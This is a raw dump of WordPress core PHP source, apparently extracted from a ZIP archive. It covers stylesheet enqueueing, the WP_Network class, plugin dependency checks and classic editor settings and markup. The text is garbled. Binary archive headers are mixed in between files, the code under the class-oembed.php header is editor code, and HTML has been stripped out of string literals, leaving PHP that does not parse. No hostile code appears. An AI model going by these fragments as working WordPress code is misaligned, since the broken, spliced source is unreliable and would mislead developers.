$src = '', $deps = array(), $ver = false, $media = 'all' ) { _wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle ); $wp_styles = wp_styles(); if ( $src ) { $_handle = explode( '?', $handle ); $wp_styles->add( $_handle[0], $src, $deps, $ver, $media ); } $wp_styles->enqueue( $handle ); } /** * Removes a previously enqueued CSS stylesheet. * * @see WP_Dependencies::dequeue() * * @since 3.1.0 * * @param string $handle Name of the stylesheet to be removed. */ function wp_dequeue_style( $handle ) { _wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle ); wp_styles()->dequeue( $handle ); } /** * Checks whether a CSS stylesheet has been added to the queue. * * @since 2.8.0 * * @param string $handle Name of the stylesheet. * @param string $status Optional. Status of the stylesheet to check. Default 'enqueued'. * Accepts 'enqueued', 'registered', 'queue', 'to_do', and 'done'. * @return bool Whether style is queued. */ function wp_style_is( $handle, $status = 'enqueued' ) { _wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle ); return (bool) wp_styles()->query( $handle, $status ); } /** * Adds metadata to a CSS stylesheet. * * Works only if the stylesheet has already been registered. * * Possible values for $key and $value: * 'rtl' bool|string To declare an RTL stylesheet. * 'suffix' string Optional suffix, used in combination with RTL. * 'alt' bool For rel="alternate stylesheet". * 'title' string For preferred/alternate stylesheets. * 'path' string The absolute path to a stylesheet. Stylesheet will * load inline when 'path' is set. * * @see WP_Dependencies::add_data() * * @since 3.6.0 * @since 5.8.0 Added 'path' as an official value for $key. * See {@see wp_maybe_inline_styles()}. * @since 6.9.0 'conditional' value changed. If the 'conditional' parameter is present * the stylesheet will be ignored. * * @param string $handle Name of the stylesheet. * @param string $key Name of data point for which we're storing a value. * Accepts 'rtl' and 'suffix', 'alt', 'title' and 'path'. * @param mixed $value String containing the CSS data to be added. * @return bool True on success, false on failure. */ function wp_style_add_data( $handle, $key, $value ) { return wp_styles()->add_data( $handle, $key, $value ); } PK!³!Gê00class-wp-network.phpnuȯÝíget_row( $wpdb->prepare( "SELECT * FROM {$wpdb->site} WHERE id = %d LIMIT 1", $network_id ) ); if ( empty( $_network ) || is_wp_error( $_network ) ) { $_network = -1; } wp_cache_add( $network_id, $_network, 'networks' ); } if ( is_numeric( $_network ) ) { return false; } return new WP_Network( $_network ); } /** * Creates a new WP_Network object. * * Will populate object properties from the object provided and assign other * default properties based on that information. * * @since 4.4.0 * * @param WP_Network|object $network A network object. */ public function __construct( $network ) { foreach ( get_object_vars( $network ) as $key => $value ) { $this->__set( $key, $value ); } $this->_set_site_name(); $this->_set_cookie_domain(); } /** * Getter. * * Allows current multisite naming conventions when getting properties. * * @since 4.6.0 * * @param string $key Property to get. * @return mixed Value of the property. Null if not available. */ public function __get( $key ) { switch ( $key ) { case 'id': return (int) $this->id; case 'blog_id': return (string) $this->get_main_site_id(); case 'site_id': return $this->get_main_site_id(); } return null; } /** * Isset-er. * * Allows current multisite naming conventions when checking for properties. * * @since 4.6.0 * * @param string $key Property to check if set. * @return bool Whether the property is set. */ public function __isset( $key ) { switch ( $key ) { case 'id': case 'blog_id': case 'site_id': return true; } return false; } /** * Setter. * * Allows current multisite naming conventions while setting properties. * * @since 4.6.0 * * @param string $key Property to set. * @param mixed $value Value to assign to the property. */ public function __set( $key, $value ) { switch ( $key ) { case 'id': $this->id = (int) $value; break; case 'blog_id': case 'site_id': $this->blog_id = (string) $value; break; default: $this->$key = $value; } } /** * Returns the main site ID for the network. * * Internal method used by the magic getter for the 'blog_id' and 'site_id' * properties. * * @since 4.9.0 * * @return int The ID of the main site. */ private function get_main_site_id() { /** * Filters the main site ID. * * Returning a positive integer will effectively short-circuit the function. * * @since 4.9.0 * * @param int|null $main_site_id If a positive integer is returned, it is interpreted as the main site ID. * @param WP_Network $network The network object for which the main site was detected. */ $main_site_id = (int) apply_filters( 'pre_get_main_site_id', null, $this ); if ( 0 < $main_site_id ) { return $main_site_id; } if ( 0 < (int) $this->blog_id ) { return (int) $this->blog_id; } if ( ( defined( 'DOMAIN_CURRENT_SITE' ) && defined( 'PATH_CURRENT_SITE' ) && DOMAIN_CURRENT_SITE === $this->domain && PATH_CURRENT_SITE === $this->path ) || ( defined( 'SITE_ID_CURRENT_SITE' ) && (int) SITE_ID_CURRENT_SITE === $this->id ) ) { if ( defined( 'BLOG_ID_CURRENT_SITE' ) ) { $this->blog_id = (string) BLOG_ID_CURRENT_SITE; return (int) $this->blog_id; } if ( defined( 'BLOGID_CURRENT_SITE' ) ) { // Deprecated. $this->blog_id = (string) BLOGID_CURRENT_SITE; return (int) $this->blog_id; } } $site = get_site(); if ( $site->domain === $this->domain && $site->path === $this->path ) { $main_site_id = (int) $site->id; } else { $main_site_id = get_network_option( $this->id, 'main_site' ); if ( false === $main_site_id ) { $_sites = get_sites( array( 'fields' => 'ids', 'number' => 1, 'domain' => $this->domain, 'path' => $this->path, 'network_id' => $this->id, ) ); $main_site_id = ! empty( $_sites ) ? array_shift( $_sites ) : 0; update_network_option( $this->id, 'main_site', $main_site_id ); } } $this->blog_id = (string) $main_site_id; return (int) $this->blog_id; } /** * Sets the site name assigned to the network if one has not been populated. * * @since 4.4.0 */ private function _set_site_name() { if ( ! empty( $this->site_name ) ) { return; } $default = ucfirst( $this->domain ); $this->site_name = get_network_option( $this->id, 'site_name', $default ); } /** * Sets the cookie domain based on the network domain if one has * not been populated. * * @todo What if the domain of the network doesn't match the current site? * * @since 4.4.0 */ private function _set_cookie_domain() { if ( ! empty( $this->cookie_domain ) ) { return; } $domain = parse_url( $this->domain, PHP_URL_HOST ); $this->cookie_domain = is_string( $domain ) ? $domain : $this->domain; if ( str_starts_with( $this->cookie_domain, 'www.' ) ) { $this->cookie_domain = substr( $this->cookie_domain, 4 ); } } /** * Retrieves the closest matching network for a domain and path. * * This will not necessarily return an exact match for a domain and path. Instead, it * breaks the domain and path into pieces that are then used to match the closest * possibility from a query. * * The intent of this method is to match a network during bootstrap for a * requested site address. * * @since 4.4.0 * * @param string $domain Domain to check. * @param string $path Path to check. * @param int|null $segments Path segments to use. Defaults to null, or the full path. * @return WP_Network|false Network object if successful. False when no network is found. */ public static function get_by_path( $domain = '', $path = '', $segments = null ) { $domains = array( $domain ); $pieces = explode( '.', $domain ); /* * It's possible one domain to search is 'com', but it might as well * be 'localhost' or some other locally mapped domain. */ while ( array_shift( $pieces ) ) { if ( ! empty( $pieces ) ) { $domains[] = implode( '.', $pieces ); } } /* * If we've gotten to this function during normal execution, there is * more than one network installed. At this point, who knows how many * we have. Attempt to optimize for the situation where networks are * only domains, thus meaning paths never need to be considered. * * This is a very basic optimization; anything further could have * drawbacks depending on the setup, so this is best done per-installation. */ $using_paths = true; if ( wp_using_ext_object_cache() ) { $using_paths = get_networks( array( 'number' => 1, 'count' => true, 'path__not_in' => '/', ) ); } $paths = array(); if ( $using_paths ) { $path_segments = array_filter( explode( '/', trim( $path, '/' ) ) ); /** * Filters the number of path segments to consider when searching for a site. * * @since 3.9.0 * * @param int|null $segments The number of path segments to consider. WordPress by default looks at * one path segment. The function default of null only makes sense when you * know the requested path should match a network. * @param string $domain The requested domain. * @param string $path The requested path, in full. */ $segments = apply_filters( 'network_by_path_segments_count', $segments, $domain, $path ); if ( ( null !== $segments ) && count( $path_segments ) > $segments ) { $path_segments = array_slice( $path_segments, 0, $segments ); } while ( count( $path_segments ) ) { $paths[] = '/' . implode( '/', $path_segments ) . '/'; array_pop( $path_segments ); } $paths[] = '/'; } /** * Determines a network by its domain and path. * * This allows one to short-circuit the default logic, perhaps by * replacing it with a routine that is more optimal for your setup. * * Return null to avoid the short-circuit. Return false if no network * can be found at the requested domain and path. Otherwise, return * an object from wp_get_network(). * * @since 3.9.0 * * @param null|false|WP_Network $network Network value to return by path. Default null * to continue retrieving the network. * @param string $domain The requested domain. * @param string $path The requested path, in full. * @param int|null $segments The suggested number of paths to consult. * Default null, meaning the entire path was to be consulted. * @param string[] $paths Array of paths to search for, based on `$path` and `$segments`. */ $pre = apply_filters( 'pre_get_network_by_path', null, $domain, $path, $segments, $paths ); if ( null !== $pre ) { return $pre; } if ( ! $using_paths ) { $networks = get_networks( array( 'number' => 1, 'orderby' => array( 'domain_length' => 'DESC', ), 'domain__in' => $domains, ) ); if ( ! empty( $networks ) ) { return array_shift( $networks ); } return false; } $networks = get_networks( array( 'orderby' => array( 'domain_length' => 'DESC', 'path_length' => 'DESC', ), 'domain__in' => $domains, 'path__in' => $paths, ) ); /* * Domains are sorted by length of domain, then by length of path. * The domain must match for the path to be considered. Otherwise, * a network with the path of / will suffice. */ $found = false; foreach ( $networks as $network ) { if ( ( $network->domain === $domain ) || ( "www.{$network->domain}" === $domain ) ) { if ( in_array( $network->path, $paths, true ) ) { $found = true; break; } } if ( '/' === $network->path ) { $found = true; break; } } if ( true === $found ) { return $network; } return false; } } PK!;d +ãbãb class-wp-plugin-dependencies.phpnuȯÝí $dependencies ) { if ( in_array( $slug, $dependencies, true ) ) { $dependents[] = $dependent; } } return $dependents; } /** * Gets the slugs of plugins that the dependent requires. * * @since 6.5.0 * * @param string $plugin_file The dependent plugin's filepath, relative to the plugins directory. * @return array An array of dependency plugin slugs. */ public static function get_dependencies( $plugin_file ) { if ( isset( self::$dependencies[ $plugin_file ] ) ) { return self::$dependencies[ $plugin_file ]; } return array(); } /** * Gets a dependent plugin's filepath. * * @since 6.5.0 * * @param string $slug The dependent plugin's slug. * @return string|false The dependent plugin's filepath, relative to the plugins directory, * or false if the plugin has no dependencies. */ public static function get_dependent_filepath( $slug ) { $filepath = array_search( $slug, self::$dependent_slugs, true ); return $filepath ? $filepath : false; } /** * Determines whether the plugin has unmet dependencies. * * @since 6.5.0 * * @param string $plugin_file The plugin's filepath, relative to the plugins directory. * @return bool Whether the plugin has unmet dependencies. */ public static function has_unmet_dependencies( $plugin_file ) { if ( ! isset( self::$dependencies[ $plugin_file ] ) ) { return false; } require_once ABSPATH . 'wp-admin/includes/plugin.php'; foreach ( self::$dependencies[ $plugin_file ] as $dependency ) { $dependency_filepath = self::get_dependency_filepath( $dependency ); if ( false === $dependency_filepath || is_plugin_inactive( $dependency_filepath ) ) { return true; } } return false; } /** * Determines whether the plugin has a circular dependency. * * @since 6.5.0 * * @param string $plugin_file The plugin's filepath, relative to the plugins directory. * @return bool Whether the plugin has a circular dependency. */ public static function has_circular_dependency( $plugin_file ) { if ( ! is_array( self::$circular_dependencies_slugs ) ) { self::get_circular_dependencies(); } if ( ! empty( self::$circular_dependencies_slugs ) ) { $slug = self::convert_to_slug( $plugin_file ); if ( in_array( $slug, self::$circular_dependencies_slugs, true ) ) { return true; } } return false; } /** * Gets the names of plugins that require the plugin. * * @since 6.5.0 * * @param string $plugin_file The plugin's filepath, relative to the plugins directory. * @return array An array of dependent names. */ public static function get_dependent_names( $plugin_file ) { $dependent_names = array(); $plugins = self::get_plugins(); $slug = self::convert_to_slug( $plugin_file ); foreach ( self::get_dependents( $slug ) as $dependent ) { $dependent_names[ $dependent ] = $plugins[ $dependent ]['Name']; } sort( $dependent_names ); return $dependent_names; } /** * Gets the names of plugins required by the plugin. * * @since 6.5.0 * * @param string $plugin_file The dependent plugin's filepath, relative to the plugins directory. * @return array An array of dependency names. */ public static function get_dependency_names( $plugin_file ) { $dependency_api_data = self::get_dependency_api_data(); $dependencies = self::get_dependencies( $plugin_file ); $plugins = self::get_plugins(); $dependency_names = array(); foreach ( $dependencies as $dependency ) { // Use the name if it's available, otherwise fall back to the slug. if ( isset( $dependency_api_data[ $dependency ]['name'] ) ) { $name = $dependency_api_data[ $dependency ]['name']; } else { $dependency_filepath = self::get_dependency_filepath( $dependency ); if ( false !== $dependency_filepath ) { $name = $plugins[ $dependency_filepath ]['Name']; } else { $name = $dependency; } } $dependency_names[ $dependency ] = $name; } return $dependency_names; } /** * Gets the filepath for a dependency, relative to the plugin's directory. * * @since 6.5.0 * * @param string $slug The dependency's slug. * @return string|false If installed, the dependency's filepath relative to the plugins directory, otherwise false. */ public static function get_dependency_filepath( $slug ) { $dependency_filepaths = self::get_dependency_filepaths(); if ( ! isset( $dependency_filepaths[ $slug ] ) ) { return false; } return $dependency_filepaths[ $slug ]; } /** * Returns API data for the dependency. * * @since 6.5.0 * * @param string $slug The dependency's slug. * @return array|false The dependency's API data on success, otherwise false. */ public static function get_dependency_data( $slug ) { $dependency_api_data = self::get_dependency_api_data(); if ( isset( $dependency_api_data[ $slug ] ) ) { return $dependency_api_data[ $slug ]; } return false; } /** * Displays an admin notice if dependencies are not installed. * * @since 6.5.0 */ public static function display_admin_notice_for_unmet_dependencies() { if ( in_array( false, self::get_dependency_filepaths(), true ) ) { $error_message = __( 'Some required plugins are missing or inactive.' ); if ( is_multisite() ) { if ( current_user_can( 'manage_network_plugins' ) ) { $error_message .= ' ' . sprintf( /* translators: %s: Link to the network plugins page. */ __( 'Manage plugins.' ), esc_url( network_admin_url( 'plugins.php' ) ) ); } else { $error_message .= ' ' . __( 'Please contact your network administrator.' ); } } elseif ( 'plugins' !== get_current_screen()->base ) { $error_message .= ' ' . sprintf( /* translators: %s: Link to the plugins page. */ __( 'Manage plugins.' ), esc_url( admin_url( 'plugins.php' ) ) ); } wp_admin_notice( $error_message, array( 'type' => 'warning', ) ); } } /** * Displays an admin notice if circular dependencies are installed. * * @since 6.5.0 */ public static function display_admin_notice_for_circular_dependencies() { $circular_dependencies = self::get_circular_dependencies(); if ( ! empty( $circular_dependencies ) && count( $circular_dependencies ) > 1 ) { $circular_dependencies = array_unique( $circular_dependencies, SORT_REGULAR ); $plugins = self::get_plugins(); $plugin_dirnames = self::get_plugin_dirnames(); // Build output lines. $circular_dependency_lines = ''; foreach ( $circular_dependencies as $circular_dependency ) { $first_filepath = $plugin_dirnames[ $circular_dependency[0] ]; $second_filepath = $plugin_dirnames[ $circular_dependency[1] ]; $circular_dependency_lines .= sprintf( /* translators: 1: First plugin name, 2: Second plugin name. */ '
  • ' . _x( '%1$s requires %2$s', 'The first plugin requires the second plugin.' ) . '
  • ', '' . esc_html( $plugins[ $first_filepath ]['Name'] ) . '', '' . esc_html( $plugins[ $second_filepath ]['Name'] ) . '' ); } wp_admin_notice( sprintf( '

    %1$s

    %3$s

    ', __( 'These plugins cannot be activated because their requirements are invalid.' ), $circular_dependency_lines, __( 'Please contact the plugin authors for more information.' ) ), array( 'type' => 'warning', 'paragraph_wrap' => false, ) ); } } /** * Checks plugin dependencies after a plugin is installed via AJAX. * * @since 6.5.0 */ public static function check_plugin_dependencies_during_ajax() { check_ajax_referer( 'updates' ); if ( empty( $_POST['slug'] ) ) { wp_send_json_error( array( 'slug' => '', 'pluginName' => '', 'errorCode' => 'no_plugin_specified', 'errorMessage' => __( 'No plugin specified.' ), ) ); } $slug = sanitize_key( wp_unslash( $_POST['slug'] ) ); $status = array( 'slug' => $slug ); self::get_plugins(); self::get_plugin_dirnames(); if ( ! isset( self::$plugin_dirnames[ $slug ] ) ) { $status['errorCode'] = 'plugin_not_installed'; $status['errorMessage'] = __( 'The plugin is not installed.' ); wp_send_json_error( $status ); } $plugin_file = self::$plugin_dirnames[ $slug ]; $status['pluginName'] = self::$plugins[ $plugin_file ]['Name']; $status['plugin'] = $plugin_file; if ( current_user_can( 'activate_plugin', $plugin_file ) && is_plugin_inactive( $plugin_file ) ) { $status['activateUrl'] = add_query_arg( array( '_wpnonce' => wp_create_nonce( 'activate-plugin_' . $plugin_file ), 'action' => 'activate', 'plugin' => $plugin_file, ), is_multisite() ? network_admin_url( 'plugins.php' ) : admin_url( 'plugins.php' ) ); } if ( is_multisite() && current_user_can( 'manage_network_plugins' ) ) { $status['activateUrl'] = add_query_arg( array( 'networkwide' => 1 ), $status['activateUrl'] ); } self::initialize(); $dependencies = self::get_dependencies( $plugin_file ); if ( empty( $dependencies ) ) { $status['message'] = __( 'The plugin has no required plugins.' ); wp_send_json_success( $status ); } require_once ABSPATH . 'wp-admin/includes/plugin.php'; $inactive_dependencies = array(); foreach ( $dependencies as $dependency ) { if ( false === self::$plugin_dirnames[ $dependency ] || is_plugin_inactive( self::$plugin_dirnames[ $dependency ] ) ) { $inactive_dependencies[] = $dependency; } } if ( ! empty( $inactive_dependencies ) ) { $inactive_dependency_names = array_map( function ( $dependency ) { if ( isset( self::$dependency_api_data[ $dependency ]['Name'] ) ) { $inactive_dependency_name = self::$dependency_api_data[ $dependency ]['Name']; } else { $inactive_dependency_name = $dependency; } return $inactive_dependency_name; }, $inactive_dependencies ); $status['errorCode'] = 'inactive_dependencies'; $status['errorMessage'] = sprintf( /* translators: %s: A list of inactive dependency plugin names. */ __( 'The following plugins must be activated first: %s.' ), implode( ', ', $inactive_dependency_names ) ); $status['errorData'] = array_combine( $inactive_dependencies, $inactive_dependency_names ); wp_send_json_error( $status ); } $status['message'] = __( 'All required plugins are installed and activated.' ); wp_send_json_success( $status ); } /** * Gets data for installed plugins. * * @since 6.5.0 * * @return array An array of plugin data. */ protected static function get_plugins() { if ( is_array( self::$plugins ) ) { return self::$plugins; } require_once ABSPATH . 'wp-admin/includes/plugin.php'; self::$plugins = get_plugins(); return self::$plugins; } /** * Reads and stores dependency slugs from a plugin's 'Requires Plugins' header. * * @since 6.5.0 */ protected static function read_dependencies_from_plugin_headers() { self::$dependencies = array(); self::$dependency_slugs = array(); self::$dependent_slugs = array(); $plugins = self::get_plugins(); foreach ( $plugins as $plugin => $header ) { if ( '' === $header['RequiresPlugins'] ) { continue; } $dependency_slugs = self::sanitize_dependency_slugs( $header['RequiresPlugins'] ); self::$dependencies[ $plugin ] = $dependency_slugs; self::$dependency_slugs = array_merge( self::$dependency_slugs, $dependency_slugs ); $dependent_slug = self::convert_to_slug( $plugin ); self::$dependent_slugs[ $plugin ] = $dependent_slug; } self::$dependency_slugs = array_unique( self::$dependency_slugs ); } /** * Sanitizes slugs. * * @since 6.5.0 * * @param string $slugs A comma-separated string of plugin dependency slugs. * @return array An array of sanitized plugin dependency slugs. */ protected static function sanitize_dependency_slugs( $slugs ) { $sanitized_slugs = array(); $slugs = explode( ',', $slugs ); foreach ( $slugs as $slug ) { $slug = trim( $slug ); /** * Filters a plugin dependency's slug before matching to * the WordPress.org slug format. * * Can be used to switch between free and premium plugin slugs, for example. * * @since 6.5.0 * * @param string $slug The slug. */ $slug = apply_filters( 'wp_plugin_dependencies_slug', $slug ); // Match to WordPress.org slug format. if ( preg_match( '/^[a-z0-9]+(-[a-z0-9]+)*$/mu', $slug ) ) { $sanitized_slugs[] = $slug; } } $sanitized_slugs = array_unique( $sanitized_slugs ); sort( $sanitized_slugs ); return $sanitized_slugs; } /** * Gets the filepath of installed dependencies. * If a dependency is not installed, the filepath defaults to false. * * @since 6.5.0 * * @return array An array of install dependencies filepaths, relative to the plugins directory. */ protected static function get_dependency_filepaths() { if ( is_array( self::$dependency_filepaths ) ) { return self::$dependency_filepaths; } if ( null === self::$dependency_slugs ) { return array(); } self::$dependency_filepaths = array(); $plugin_dirnames = self::get_plugin_dirnames(); foreach ( self::$dependency_slugs as $slug ) { if ( isset( $plugin_dirnames[ $slug ] ) ) { self::$dependency_filepaths[ $slug ] = $plugin_dirnames[ $slug ]; continue; } self::$dependency_filepaths[ $slug ] = false; } return self::$dependency_filepaths; } /** * Retrieves and stores dependency plugin data from the WordPress.org Plugin API. * * @since 6.5.0 * * @global string $pagenow The filename of the current screen. * * @return array|void An array of dependency API data, or void on early exit. */ protected static function get_dependency_api_data() { global $pagenow; if ( ! is_admin() || ( 'plugins.php' !== $pagenow && 'plugin-install.php' !== $pagenow ) ) { return; } if ( is_array( self::$dependency_api_data ) ) { return self::$dependency_api_data; } $plugins = self::get_plugins(); self::$dependency_api_data = (array) get_site_transient( 'wp_plugin_dependencies_plugin_data' ); foreach ( self::$dependency_slugs as $slug ) { // Set transient for individual data, remove from self::$dependency_api_data if transient expired. if ( ! get_site_transient( "wp_plugin_dependencies_plugin_timeout_{$slug}" ) ) { unset( self::$dependency_api_data[ $slug ] ); set_site_transient( "wp_plugin_dependencies_plugin_timeout_{$slug}", true, 12 * HOUR_IN_SECONDS ); } if ( isset( self::$dependency_api_data[ $slug ] ) ) { if ( false === self::$dependency_api_data[ $slug ] ) { $dependency_file = self::get_dependency_filepath( $slug ); if ( false === $dependency_file ) { self::$dependency_api_data[ $slug ] = array( 'Name' => $slug ); } else { self::$dependency_api_data[ $slug ] = array( 'Name' => $plugins[ $dependency_file ]['Name'] ); } continue; } // Don't hit the Plugin API if data exists. if ( ! empty( self::$dependency_api_data[ $slug ]['last_updated'] ) ) { continue; } } if ( ! function_exists( 'plugins_api' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; } $information = plugins_api( 'plugin_information', array( 'slug' => $slug, 'fields' => array( 'short_description' => true, 'icons' => true, ), ) ); if ( is_wp_error( $information ) ) { continue; } self::$dependency_api_data[ $slug ] = (array) $information; // plugins_api() returns 'name' not 'Name'. self::$dependency_api_data[ $slug ]['Name'] = self::$dependency_api_data[ $slug ]['name']; set_site_transient( 'wp_plugin_dependencies_plugin_data', self::$dependency_api_data, 0 ); } // Remove from self::$dependency_api_data if slug no longer a dependency. $differences = array_diff( array_keys( self::$dependency_api_data ), self::$dependency_slugs ); foreach ( $differences as $difference ) { unset( self::$dependency_api_data[ $difference ] ); } ksort( self::$dependency_api_data ); // Remove empty elements. self::$dependency_api_data = array_filter( self::$dependency_api_data ); set_site_transient( 'wp_plugin_dependencies_plugin_data', self::$dependency_api_data, 0 ); return self::$dependency_api_data; } /** * Gets plugin directory names. * * @since 6.5.0 * * @return array An array of plugin directory names. */ protected static function get_plugin_dirnames() { if ( is_array( self::$plugin_dirnames ) ) { return self::$plugin_dirnames; } self::$plugin_dirnames = array(); $plugin_files = array_keys( self::get_plugins() ); foreach ( $plugin_files as $plugin_file ) { $slug = self::convert_to_slug( $plugin_file ); self::$plugin_dirnames[ $slug ] = $plugin_file; } return self::$plugin_dirnames; } /** * Gets circular dependency data. * * @since 6.5.0 * * @return array[] An array of circular dependency pairings. */ protected static function get_circular_dependencies() { if ( is_array( self::$circular_dependencies_pairs ) ) { return self::$circular_dependencies_pairs; } if ( null === self::$dependencies ) { return array(); } self::$circular_dependencies_slugs = array(); self::$circular_dependencies_pairs = array(); foreach ( self::$dependencies as $dependent => $dependencies ) { /* * $dependent is in 'a/a.php' format. Dependencies are stored as slugs, i.e. 'a'. * * Convert $dependent to slug format for checking. */ $dependent_slug = self::convert_to_slug( $dependent ); self::$circular_dependencies_pairs = array_merge( self::$circular_dependencies_pairs, self::check_for_circular_dependencies( array( $dependent_slug ), $dependencies ) ); } return self::$circular_dependencies_pairs; } /** * Checks for circular dependencies. * * @since 6.5.0 * * @param array $dependents Array of dependent plugins. * @param array $dependencies Array of plugins dependencies. * @return array A circular dependency pairing, or an empty array if none exists. */ protected static function check_for_circular_dependencies( $dependents, $dependencies ) { $circular_dependencies_pairs = array(); // Check for a self-dependency. $dependents_location_in_its_own_dependencies = array_intersect( $dependents, $dependencies ); if ( ! empty( $dependents_location_in_its_own_dependencies ) ) { foreach ( $dependents_location_in_its_own_dependencies as $self_dependency ) { self::$circular_dependencies_slugs[] = $self_dependency; $circular_dependencies_pairs[] = array( $self_dependency, $self_dependency ); // No need to check for itself again. unset( $dependencies[ array_search( $self_dependency, $dependencies, true ) ] ); } } /* * Check each dependency to see: * 1. If it has dependencies. * 2. If its list of dependencies includes one of its own dependents. */ foreach ( $dependencies as $dependency ) { // Check if the dependency is also a dependent. $dependency_location_in_dependents = array_search( $dependency, self::$dependent_slugs, true ); if ( false !== $dependency_location_in_dependents ) { $dependencies_of_the_dependency = self::$dependencies[ $dependency_location_in_dependents ]; foreach ( $dependents as $dependent ) { // Check if its dependencies includes one of its own dependents. $dependent_location_in_dependency_dependencies = array_search( $dependent, $dependencies_of_the_dependency, true ); if ( false !== $dependent_location_in_dependency_dependencies ) { self::$circular_dependencies_slugs[] = $dependent; self::$circular_dependencies_slugs[] = $dependency; $circular_dependencies_pairs[] = array( $dependent, $dependency ); // Remove the dependent from its dependency's dependencies. unset( $dependencies_of_the_dependency[ $dependent_location_in_dependency_dependencies ] ); } } $dependents[] = $dependency; /* * Now check the dependencies of the dependency's dependencies for the dependent. * * Yes, that does make sense. */ $circular_dependencies_pairs = array_merge( $circular_dependencies_pairs, self::check_for_circular_dependencies( $dependents, array_unique( $dependencies_of_the_dependency ) ) ); } } return $circular_dependencies_pairs; } /** * Converts a plugin filepath to a slug. * * @since 6.5.0 * * @param string $plugin_file The plugin's filepath, relative to the plugins directory. * @return string The plugin's slug. */ protected static function convert_to_slug( $plugin_file ) { if ( 'hello.php' === $plugin_file ) { return 'hello-dolly'; } return str_contains( $plugin_file, '/' ) ? dirname( $plugin_file ) : str_replace( '.php', '', $plugin_file ); } } PK!Þ_Zd‘‘class-oembed.phpnu„[µü¤` tags, and can use "scoped". Default empty. * @type string $editor_class Extra classes to add to the editor textarea element. Default empty. * @type bool $teeny Whether to output the minimal editor config. Examples include * Press This and the Comment editor. Default false. * @type bool $dfw Deprecated in 4.1. Unused. * @type bool|array $tinymce Whether to load TinyMCE. Can be used to pass settings directly to * TinyMCE using an array. Default true. * @type bool|array $quicktags Whether to load Quicktags. Can be used to pass settings directly to * Quicktags using an array. Default true. * } * @return array Parsed arguments array. */ public static function parse_settings( $editor_id, $settings ) { /** * Filters the wp_editor() settings. * * @since 4.0.0 * * @see _WP_Editors::parse_settings() * * @param array $settings Array of editor arguments. * @param string $editor_id Unique editor identifier, e.g. 'content'. Accepts 'classic-block' * when called from block editor's Classic block. */ $settings = apply_filters( 'wp_editor_settings', $settings, $editor_id ); $set = wp_parse_args( $settings, array( // Disable autop if the current post has blocks in it. 'wpautop' => ! has_blocks(), 'media_buttons' => true, 'default_editor' => '', 'drag_drop_upload' => false, 'textarea_name' => $editor_id, 'textarea_rows' => 20, 'tabindex' => '', 'tabfocus_elements' => ':prev,:next', 'editor_css' => '', 'editor_class' => '', 'teeny' => false, '_content_editor_dfw' => false, 'tinymce' => true, 'quicktags' => true, ) ); self::$this_tinymce = ( $set['tinymce'] && user_can_richedit() ); if ( self::$this_tinymce ) { if ( str_contains( $editor_id, '[' ) ) { self::$this_tinymce = false; _deprecated_argument( 'wp_editor()', '3.9.0', 'TinyMCE editor IDs cannot have brackets.' ); } } self::$this_quicktags = (bool) $set['quicktags']; if ( self::$this_tinymce ) { self::$has_tinymce = true; } if ( self::$this_quicktags ) { self::$has_quicktags = true; } if ( empty( $set['editor_height'] ) ) { return $set; } if ( 'content' === $editor_id && empty( $set['tinymce']['wp_autoresize_on'] ) ) { // A cookie (set when a user resizes the editor) overrides the height. $cookie = (int) get_user_setting( 'ed_size' ); if ( $cookie ) { $set['editor_height'] = $cookie; } } if ( $set['editor_height'] < 50 ) { $set['editor_height'] = 50; } elseif ( $set['editor_height'] > 5000 ) { $set['editor_height'] = 5000; } return $set; } /** * Outputs the HTML for a single instance of the editor. * * @since 3.3.0 * * @global WP_Screen $current_screen WordPress current screen object. * * @param string $content Initial content for the editor. * @param string $editor_id HTML ID for the textarea and TinyMCE and Quicktags instances. * Should not contain square brackets. * @param array $settings See _WP_Editors::parse_settings() for description. */ public static function editor( $content, $editor_id, $settings = array() ) { $set = self::parse_settings( $editor_id, $settings ); $editor_class = ' class="' . trim( esc_attr( $set['editor_class'] ) . ' wp-editor-area' ) . '"'; $tabindex = $set['tabindex'] ? ' tabindex="' . (int) $set['tabindex'] . '"' : ''; $default_editor = 'html'; $buttons = ''; $autocomplete = ''; $editor_id_attr = esc_attr( $editor_id ); if ( $set['drag_drop_upload'] ) { self::$drag_drop_upload = true; } if ( ! empty( $set['editor_height'] ) ) { $height = ' style="height: ' . (int) $set['editor_height'] . 'px"'; } else { $height = ' rows="' . (int) $set['textarea_rows'] . '"'; } if ( ! current_user_can( 'upload_files' ) ) { $set['media_buttons'] = false; } if ( self::$this_tinymce ) { $autocomplete = ' autocomplete="off"'; if ( self::$this_quicktags ) { $default_editor = $set['default_editor'] ? $set['default_editor'] : wp_default_editor(); // 'html' is used for the "Code" editor tab. if ( 'html' !== $default_editor ) { $default_editor = 'tinymce'; } $tmce_active = ( 'html' === $default_editor ) ? ' aria-pressed="true"' : ''; $html_active = ( 'html' === $default_editor ) ? '' : ' aria-pressed="true"'; $buttons .= '\n"; $buttons .= '\n"; } else { $default_editor = 'tinymce'; } } $switch_class = 'html' === $default_editor ? 'html-active' : 'tmce-active'; $wrap_class = 'wp-core-ui wp-editor-wrap ' . $switch_class; if ( $set['_content_editor_dfw'] ) { $wrap_class .= ' has-dfw'; } echo '
    '; if ( self::$editor_buttons_css ) { wp_print_styles( 'editor-buttons' ); self::$editor_buttons_css = false; } if ( ! empty( $set['editor_css'] ) ) { echo $set['editor_css'] . "\n"; } if ( ! empty( $buttons ) || $set['media_buttons'] ) { echo '
    '; if ( $set['media_buttons'] ) { self::$has_medialib = true; if ( ! function_exists( 'media_buttons' ) ) { require ABSPATH . 'wp-admin/includes/media.php'; } echo '
    '; /** * Fires after the default media button(s) are displayed. * * @since 2.5.0 * * @param string $editor_id Unique editor identifier, e.g. 'content'. */ do_action( 'media_buttons', $editor_id ); echo "
    \n"; } echo '
    ' . $buttons . "
    \n"; echo "
    \n"; } $quicktags_toolbar = ''; if ( self::$this_quicktags ) { if ( 'content' === $editor_id && ! empty( $GLOBALS['current_screen'] ) && 'post' === $GLOBALS['current_screen']->base ) { $toolbar_id = 'ed_toolbar'; } else { $toolbar_id = 'qt_' . $editor_id_attr . '_toolbar'; } $quicktags_toolbar = '
    '; } /** * Filters the HTML markup output that displays the editor. * * @since 2.1.0 * * @param string $output Editor's HTML markup. */ $the_editor = apply_filters( 'the_editor', '
    ' . $quicktags_toolbar . '%s
